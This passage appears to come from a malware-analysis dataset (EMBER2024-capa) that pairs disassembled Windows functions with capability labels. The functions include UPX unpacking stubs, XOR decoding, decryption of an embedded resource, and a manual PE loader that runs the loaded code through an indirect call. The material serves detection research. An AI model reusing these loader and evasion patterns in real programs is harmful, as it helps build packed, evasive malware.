joyce8/EMBER2024-capa huggingface dataset:
Function at 0x568770
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10b000]
push edi
jmp 0x56878a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x568791
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x568780
mov eax, 1
add ebx, ebx
jne 0x5687a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5687b4
jne 0x5687d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5687d3
dec eax
add ebx, ebx
jne 0x5687c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x568798
add ebx, ebx
jne 0x5687cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x568825
xor ecx, ecx
sub eax, 3
jb 0x5687eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x56885a
sar eax, 1
mov ebp, eax
jmp 0x5687f6
add ebx, ebx
jne 0x5687f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5687c4
inc ecx
add ebx, ebx
jne 0x568804
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5687c4
add ebx, ebx
jne 0x568811
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x568806
jne 0x568822
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x568806
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x568844
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x568836
jmp 0x568786
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x568844
add edi, ecx
jmp 0x568786
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x568862
cmp byte [edi], 0x11
jne 0x568862
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x568867
lea edi, [esi + 0x161000]
mov eax, dword [edi]
or eax, eax
je 0x5688df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1ead78]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1eaef4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x568894
mov ecx, edi
jns 0x5688c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1eaef8]
or eax, eax
je 0x5688d9
mov dword [ebx], eax
add ebx, 4
jmp 0x5688b1
call dword [esi + 0x1eaf08]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x568910
cmp al, 0xef
ja 0x568903
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5688e5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5688f2
mov ebp, dword [esi + 0x1eaefc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x568944
sub esp, 0xffffff80
jmp 0x420577
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00431219
Function at 0x402be7
Capabilities:
Delete directory
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.00409370
cmp dword [0x2aa6018], 0x594
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jne 0x402c24
push 0x402500
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x402564
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x431c78]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [0x431c7c]
push esi
xor esi, esi
mov dword [ebp - 0x24], eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.00402be0
mov eax, dword [str._3_n]
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x431c84]
add ebx, 0x23f
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, dword [ebp - 0x10]
shl eax, 4
cmp dword [0x2aa6018], 0xc
mov dword [ebp - 4], eax
jne 0x402caf
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x2aa6018]
cmp eax, 0xfa9
jne 0x402ccb
mov dword [0x2aa55b4], 0xedeb2e40
cmp eax, 0x3eb
jne 0x402cd8
mov dword [0x2aa4f68], esi
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
lea eax, [ebx + edx]
shr edx, cl
mov dword [ebp - 0x14], eax
mov dword [0x2aa55b0], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x2aa6018], 0x213
mov dword [ebp - 0x14], edx
jne 0x402d1f
push esi
push 0x402570
push esi
push 0x402620
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
cmp dword [0x2aa6018], 0xc
jne 0x402d5c
push esi
lea eax, [ebp - 0x82c]
push eax
push 0x4026f8
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push esi
lea eax, [ebp - 0x102c]
push eax
push 0x402750
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edi, eax
shr edi, cl
lea edx, [ebx + eax]
xor dword [ebp - 4], edx
add edi, dword [ebp - 0x24]
cmp dword [0x2aa6018], 0x121
jne 0x402d9a
push 0x4026c4
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov eax, dword [ebp - 0xc]
xor dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
sub dword [ebp - 0x10], ecx
add ebx, 0x61c88647
dec dword [ebp - 0x18]
jne 0x402c64
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
pop edi
pop esi
mov dword [ecx], edx
mov dword [ecx + 4], eax
pop ebx
leave
ret 4
Function at 0x402dc4
Capabilities:
Get common file path
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00409370
mov eax, dword [0x2aa6018]
mov ecx, dword [0x2aa4f6c]
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x402ebc
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x2aa6018], 0x959
jne 0x402eaa
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0x402778
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
push 0x402828
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0x4028b0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
push esi
push esi
push esi
push esi
push esi
push 0x402900
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
push 0x402804
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x402968
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
call fcn.00402be7
add edi, 8
dec ebx
jne 0x402df0
pop edi
pop ebx
pop esi
leave
ret
Function at 0x403122
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
push ebx
call dword [sym.imp.USER32.dll_CharUpperW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
cmp esi, 0x2710
jge 0x403155
lea eax, [ebp - 0x42c]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
inc esi
cmp esi, 0x5d744c
jl 0x403132
xor esi, esi
mov edi, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, edi
jle 0x403178
cmp dword [ebp - 4], 0x785074d5
jne 0x403181
inc esi
cmp esi, 0x1c1b
jl 0x403165
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, 0x206d47
jg 0x4031a7
inc esi
cmp esi, 0x4f6a4
jl 0x403183
cmp dword [0x2aa6018], 0x400
jne 0x4031c9
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
call fcn.0040323a
push ebx
call fcn.004032b4
add esp, 0xc
mov eax, dword [0x43204c]
mov dword [0x2aa6018], eax
mov eax, dword [0x432020]
mov dword [0x2aa601c], eax
call fcn.00402ed9
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp esi, edi
jle 0x4031f8
cmp dword [ebp - 4], 0x785074d5
jne 0x403201
inc esi
cmp esi, 0x11915
jl 0x4031e4
mov esi, 0x3078f
cmp dword [0x2aa6018], 0x51f
jne 0x40321c
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
dec esi
jne 0x403206
mov eax, dword [0x2aa4f6c]
mov dword [0x2aa55ac], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x406f2c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040478e
and dword [ebp - 4], 0
cmp dword [0x4328e8], 0
mov ebx, eax
jne 0x406fdd
push 0x4019c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40708e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4019b8
push edi
call esi
test eax, eax
je 0x40708e
push eax
call fcn.0040471c
mov dword [esp], 0x4019a8
push edi
mov dword [0x4328e8], eax
call esi
push eax
call fcn.0040471c
mov dword [esp], 0x401994
push edi
mov dword [0x4328ec], eax
call esi
push eax
call fcn.0040471c
mov dword [esp], 0x401978
push edi
mov dword [0x4328f0], eax
call esi
push eax
call fcn.0040471c
pop ecx
mov dword [0x4328f8], eax
test eax, eax
je 0x406fdd
push 0x401960
push edi
call esi
push eax
call fcn.0040471c
pop ecx
mov dword [0x4328f4], eax
mov eax, dword [0x4328f4]
cmp eax, ebx
je 0x407035
cmp dword [0x4328f8], ebx
je 0x407035
push eax
call fcn.00404797
push dword [0x4328f8]
mov esi, eax
call fcn.00404797
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407035
test edi, edi
je 0x407035
call esi
test eax, eax
je 0x40702c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40702c
test byte [ebp - 0xc], 1
jne 0x407035
or dword [ebp + 0x10], 0x200000
jmp 0x40706e
mov eax, dword [0x4328ec]
cmp eax, ebx
je 0x40706e
push eax
call fcn.00404797
pop ecx
test eax, eax
je 0x40706e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40706e
mov eax, dword [0x4328f0]
cmp eax, ebx
je 0x40706e
push eax
call fcn.00404797
pop ecx
test eax, eax
je 0x40706e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4328e8]
call fcn.00404797
pop ecx
test eax, eax
je 0x40708e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407090
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407845
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431a10]
jne 0x40784f
repz ret
jmp fcn.00408ef9
Function at 0x51e8f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xbe000]
push edi
or ebp, 0xffffffff
jmp 0x51e912
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x51e919
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x51e908
mov eax, 1
add ebx, ebx
jne 0x51e92b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x51e920
jne 0x51e93c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51e920
xor ecx, ecx
sub eax, 3
jb 0x51e950
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51e9c2
mov ebp, eax
add ebx, ebx
jne 0x51e95b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x51e968
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x51e98c
inc ecx
add ebx, ebx
jne 0x51e978
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x51e96d
jne 0x51e989
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x51e96d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x51e9ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x51e99d
jmp 0x51e90e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x51e9ac
add edi, ecx
jmp 0x51e90e
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x51e9ca
cmp byte [edi], 0x34
jne 0x51e9ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x51e9cf
lea edi, [esi + 0x11c000]
mov eax, dword [edi]
or eax, eax
je 0x51ea47
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x11ebe8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11ec24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x51e9fc
mov ecx, edi
jns 0x51ea2b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x11ec28]
or eax, eax
je 0x51ea41
mov dword [ebx], eax
add ebx, 4
jmp 0x51ea19
call dword [esi + 0x11ec38]
mov ebp, dword [esi + 0x11ec2c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x51ea7b
sub esp, 0xffffff80
jmp 0x401090
Function at 0x4013fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, word [ebp + 8]
push ebx
push esi
push edi
push 0xa
push eax
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x401439
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
ja 0x401440
xor eax, eax
jmp 0x401530
push edi
push dword [0x40b014]
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0x40
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 8], edi
call fcn.00401de0
sub esi, 0x20
push 0x20
mov dword [ebp - 0xc], esi
lea eax, [edi + esi]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.00401de0
add esp, 0x18
xor eax, eax
xor ebx, ebx
movzx ecx, byte [ebp + eax - 0x2c]
add ebx, ecx
inc eax
cmp eax, 0x20
jb 0x401488
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp ebx, eax
jne 0x4014cc
test ebx, ebx
je 0x4014ed
xor edx, edx
xor ecx, ecx
test esi, esi
jbe 0x4014ed
mov al, dl
and al, 0x23
xor al, byte [edx + edi]
or al, byte [ebp + ecx - 0x2c]
inc ecx
cmp ecx, 0x10
mov byte [edx + edi], al
jne 0x4014c1
xor ecx, ecx
inc edx
cmp edx, esi
jb 0x4014ab
test ecx, ecx
jne 0x4014a3
jmp 0x4014ed
xor edx, edx
xor ecx, ecx
test esi, esi
jbe 0x4014ed
mov al, byte [ebp + ecx - 0x2c]
xor al, byte [edx + edi]
xor al, dl
inc ecx
cmp ecx, 0x10
mov byte [edx + edi], al
jne 0x4014e8
xor ecx, ecx
inc edx
cmp edx, esi
jb 0x4014d4
mov edi, dword [edi]
mov dword [ebp + 8], edi
add edi, 0x100
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
sub eax, 4
push eax
mov eax, dword [ebp - 8]
add eax, 4
push eax
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push eax
call section..text
add esp, 0x10
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4015c9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebx + 0x3c]
push 0x40
add edi, ebx
push 0x3000
push dword [edi + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [edi + 0x54]
mov esi, eax
mov dword [ebp - 0x18], esi
push ebx
push esi
call fcn.00401de0
mov eax, dword [esi + 0x3c]
and dword [ebp - 0xc], 0
add esp, 0xc
add eax, esi
cmp word [edi + 6], 0
mov dword [ebp - 0x14], eax
jbe 0x401670
mov edx, eax
lea ecx, [edi + 0x108]
sub edx, edi
mov dword [ebp - 0x10], ecx
lea edx, [edx + edi + 0x104]
mov dword [ebp - 8], edx
mov edx, dword [ecx]
test edx, edx
jbe 0x40165a
and dword [ebp - 4], 0
test edx, edx
jbe 0x40165a
mov edx, dword [ebp - 8]
mov ecx, dword [ecx + 4]
add ecx, dword [ebp - 4]
mov ebx, dword [ebp + 8]
mov edx, dword [edx]
add edx, dword [ebp - 4]
inc dword [ebp - 4]
mov cl, byte [ecx + ebx]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx]
jb 0x401636
movzx edx, word [edi + 6]
add dword [ebp - 8], 0x28
add ecx, 0x28
inc dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0xc], edx
jb 0x401628
mov ecx, dword [eax + 0x80]
test ecx, ecx
lea ebx, [ecx + esi]
mov dword [ebp - 0xc], ebx
je 0x40170d
cmp dword [ebx], 0
jne 0x40168f
cmp dword [ebx + 0x10], 0
je 0x40170d
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x4016fa
add ecx, esi
mov dword [ebp + 8], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx]
test eax, eax
jne 0x4016ba
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx + 0x10]
add eax, esi
mov dword [ebp + 8], eax
add ebx, esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
je 0x4016f4
test eax, 0x80000000
je 0x4016db
and eax, 0xffff
jmp 0x4016df
lea eax, [eax + esi + 2]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebx], eax
add ebx, 4
add dword [ebp + 8], 4
jmp 0x4016c4
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
add ebx, 0x14
cmp dword [eax + 0x80], 0
mov dword [ebp - 0xc], ebx
jne 0x401684
push 0
push esi
call fcn.00401535
mov eax, dword [ebp - 0x14]
pop ecx
pop ecx
mov eax, dword [eax + 0x28]
add eax, esi
mov dword [ebp + 8], eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, 1
push eax
xor eax, eax
push eax
mov eax, dword [ebp + 8]
call eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [edi + 0x54]
push 0
push esi
call fcn.00402120
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret